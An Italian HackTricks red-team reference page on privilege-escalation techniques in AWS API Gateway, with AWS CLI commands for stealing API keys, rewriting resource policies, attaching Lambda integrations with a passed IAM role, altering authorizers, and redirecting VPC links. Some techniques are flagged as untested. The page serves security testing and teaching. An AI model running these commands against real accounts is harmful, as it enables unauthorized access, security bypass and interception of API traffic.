AWS - Apigateway Privesc

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Apigateway

Per ulteriori informazioni, controlla:

pageAWS - API Gateway Enum

apigateway:POST

Con questa autorizzazione puoi generare chiavi API delle API configurate (per regione).

aws --region <region> apigateway create-api-key

Impatto potenziale: Non è possibile ottenere privilegi con questa tecnica, ma potresti ottenere accesso a informazioni sensibili.

apigateway:GET

Con questa autorizzazione è possibile ottenere le chiavi API generate delle API configurate (per regione).

aws --region apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Impatto potenziale: Non è possibile ottenere privilegi con questa tecnica, ma potresti ottenere accesso a informazioni sensibili.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Con queste autorizzazioni è possibile modificare la policy delle risorse di un'API per ottenere accesso per chiamarla e abusare del potenziale accesso che potrebbe avere il gateway API (come invocare una lambda vulnerabile).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Impatto potenziale: Di solito, non sarai in grado di fare una privesc direttamente con questa tecnica, ma potresti ottenere accesso a informazioni sensibili.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Necessita di test

Un attaccante con i permessi apigateway:PutIntegration, apigateway:CreateDeployment e iam:PassRole può aggiungere una nuova integrazione a un'API Gateway REST API esistente con una funzione Lambda che ha un ruolo IAM associato. L'attaccante può quindi triggerare la funzione Lambda per eseguire codice arbitrario e potenzialmente ottenere accesso alle risorse associate al ruolo IAM.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impatto potenziale: Accesso alle risorse associate al ruolo IAM della funzione Lambda.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Necessita di test

Un attaccante con i permessi apigateway:UpdateAuthorizer e apigateway:CreateDeployment può modificare un authorizer esistente di API Gateway per eludere i controlli di sicurezza o eseguire codice arbitrario quando vengono effettuate richieste API.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impatto potenziale: Bypassare i controlli di sicurezza, accesso non autorizzato alle risorse dell'API.

Necessita di test

Un attaccante con il permesso apigateway:UpdateVpcLink può modificare un collegamento VPC esistente per puntare a un diverso Network Load Balancer, potenzialmente reindirizzando il traffico privato dell'API verso risorse non autorizzate o malevole.

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Potenziale Impatto: Accesso non autorizzato alle risorse API private, intercettazione o interruzione del traffico API.

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated